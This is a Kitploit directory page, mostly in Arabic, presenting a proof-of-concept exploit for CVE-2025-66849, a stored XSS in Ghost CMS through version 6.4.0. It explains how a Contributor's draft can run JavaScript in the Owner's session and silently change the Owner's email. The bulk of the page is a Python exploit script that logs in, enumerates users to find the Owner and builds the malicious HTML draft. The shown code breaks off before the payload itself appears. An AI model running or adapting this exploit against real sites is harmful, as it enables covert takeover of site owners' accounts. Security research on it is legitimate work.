Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-66849 — PoC لتصعيد الامتيازات في Ghost CMS | Kitploit
أدوات/GitHubGitHub/wojtekchwala/cve-2025-66849
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

PoC لتصعيد الامتيازات في Ghost CMS

عرض المستودع
9منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-66849

إثبات مفهوم لتصعيد الصلاحيات في Ghost CMS

الملخص

في Ghost Foundation Ghost CMS حتى الإصدار 6.4.0، تفشل كتلة HTML داخل محرر مسودة المنشور في تعقيم أو ترميز المحتوى الذي يقدمه المستخدم بشكل صحيح، مما يؤدي إلى ثغرة برمجة نصية مخزنة عبر المواقع (Stored XSS). يمكن لمستخدم بصلاحيات Contributor حقن كود JavaScript عشوائي في مسودة، يتم تنفيذه عند عرضها من قبل حساب Owner. وهذا يسمح للمهاجم بتنفيذ إجراءات بصلاحيات مرتفعة في سياق حساب Owner.

نظرة عامة على الثغرة

الخطورة: عالية

الإصدارات المتأثرة: Ghost 6.4.0 (الأحدث حتى 20 أكتوبر 2025) - Ghost CMS حتى الإصدار 6.4.0

خطوات إعادة الإنتاج

لإثبات الثغرة، يلزم إعداد مثيل محلي من Ghost CMS بحسابين:

  1. حساب Owner - يتم إنشاؤه تلقائيًا أثناء تثبيت Ghost.

  2. حساب Contributor - يتم إنشاؤه بواسطة Owner عبر دعوة مستخدم جديد. يرسل Ghost رابط Magic Link إلى البريد الإلكتروني الخاص بـ Contributor لإكمال إعداد الحساب.

نظرًا لأن ذلك يتم محليًا، يجب تثبيت أداة لالتقاط البريد الإلكتروني مثل MailHog (على سبيل المثال عبر Docker). يتيح ذلك اعتراض رابط Magic Link الذي يرسله Ghost محليًا، حتى يتمكن Contributor من تفعيل حسابه بنفسه.

بمجرد أن يصبح كلا الحسابين نشطين، يمكن استخدام سكربت الاستغلال (contributor.py). يتطلب السكربت بيانات اعتماد تسجيل دخول Contributor وعنوان البريد الإلكتروني الجديد الذي سيتم تعيينه لحساب Owner بعد نجاح الاستغلال.

معاملات السكربت هي:

-u / --username      Contributor username (email)
-p / --password      Contributor password
-e / --new-email     New email address to be set on the Owner account
--url                Ghost instance URL (optional)

لتشغيل السكربت في الطرفية استخدم:

python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

عند تنفيذه، يقوم السكربت تلقائيًا بإنشاء مسودة منشور جديدة تحتوي على حمولة JavaScript الخبيثة داخل كتلة HTML القابلة للاستغلال.

لتفعيل الـ XSS المخزن، يحتاج Owner فقط إلى معاينة المسودة عبر فتحها في لوحة إدارة Ghost والنقر على “Preview”. يتم تنفيذ السكربت المحقون في الخلفية بصلاحيات Owner، ولا يتم إشعار Owner بأن عنوان بريده الإلكتروني قد تم تغييره.

import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None

        author_id = self.current_user.get('id')
        owner_id = self.owner_user.get('id')
        owner_slug = self.owner_user.get('slug')
        owner_name = self.owner_user.get('name')

        print(f"\n  Creating post with CONTRIBUTOR as author")
        print(f"  Author ID: {author_id} ({self.current_user.get('name')})")
        print(f"  Target Owner ID: {owner_id}")
        print(f"  Target Owner Slug: {owner_slug}")
        print(f"  Target Owner Name: {owner_name}")
تنزيل الأداة